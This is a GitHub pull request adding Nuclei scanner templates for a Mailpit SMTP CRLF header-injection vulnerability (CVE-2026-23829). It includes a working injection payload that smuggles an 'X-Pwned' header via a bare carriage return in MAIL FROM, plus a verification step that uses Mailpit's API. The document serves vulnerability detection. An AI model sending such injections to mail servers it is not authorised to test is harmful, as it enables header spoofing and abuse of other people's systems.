Add CVE-2026-23829 for Mailpit SMTP CRLF Injection#14995
Open
omarkurt wants to merge 2 commits intoprojectdiscovery:mainfrom
Open
Add CVE-2026-23829 for Mailpit SMTP CRLF Injection#14995omarkurt wants to merge 2 commits intoprojectdiscovery:mainfrom
omarkurt wants to merge 2 commits intoprojectdiscovery:mainfrom
Conversation
Mailpit versions before 1.28.2 are vulnerable to SMTP CRLF Injection due to insufficient regex validation. Upgrade to version 1.28.3 or later to fix this issue.
Contributor
|
Hello @omarkurt, we really appreciate you sharing this template with us. However, we’re experiencing some challenges in validating it. Could you please provide the debug data? That would be incredibly helpful! Thank you! |
Contributor
Author
|
@pussycat0x , thanks for your efforts! The template is functional, but it was quite confusing. I’ve simplified it and provided some information for better clarity. By the way, there’s already an existing lab for the VT (VulnerableTarget) environment we’re using. https://vulnerabletarget.com/VT-2026-23829 vt-2026-23829-inject.yaml id: vt-2026-23829-inject
info:
name: "Mailpit SMTP Header Injection - Injector"
author: omarkurt
severity: medium
tags: cve,cve-2026,mailpit,smtp,injection
description: |
This template injects a custom header into an SMTP transaction to test for header injection vulnerabilities in Mailpit. By sending a specially crafted MAIL FROM command with a newline and additional header, we can determine if the server is vulnerable to header injection. This is a non-destructive test that does not rely on any specific response content, making it suitable for safely identifying the vulnerability.
network:
- host:
- "{{Hostname}}:1025"
read-all: true
read-size: 4096
inputs:
- data: "EHLO {{Hostname}}\r\n"
# Injecting X-Pwned header via MAIL FROM (Bare CR)
- data: "MAIL FROM:<attacker\rX-Pwned:{{randstr}}>\r\n"
- data: "RCPT TO:<victim@example.com>\r\n"
- data: "DATA\r\n"
- data: "Subject: CVE-2026-23829 Proof\r\n\r\nCombined Template Check.\r\n.\r\n"
- data: "QUIT\r\n"
matchers:
- type: word
words:
- "250 Ok"
- "250 2.1.0 Ok"
condition: orvt-2026-23829-verify.yaml id: vt-2026-23829-verify
info:
name: "Mailpit SMTP Header Injection - Verification"
author: omarkurt
severity: medium
description: |
Checks the Mailpit API for the injected 'X-Pwned' header in the latest message.
tags: cve,cve-2026,mailpit,api
variables:
rnd: "true"
http:
- method: GET
path:
- "http://{{Hostname}}:8025/api/v1/messages?limit=1"
extractors:
- type: json
name: msg_id
part: body
json:
- ".messages[0].ID"
internal: true
- method: GET
path:
- "http://{{Hostname}}:8025/api/v1/message/{{msg_id}}/raw"
matchers:
- type: word
words:
- "X-Pwned:"
condition: orvt-2026-23829-workflow.yaml |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Mailpit versions before 1.28.2 are vulnerable to SMTP CRLF Injection due to insufficient regex validation. Upgrade to version 1.28.3 or later to fix this issue.
PR Information
Template validation
equisites are obligatory; they are merely intended to speed the review process. -->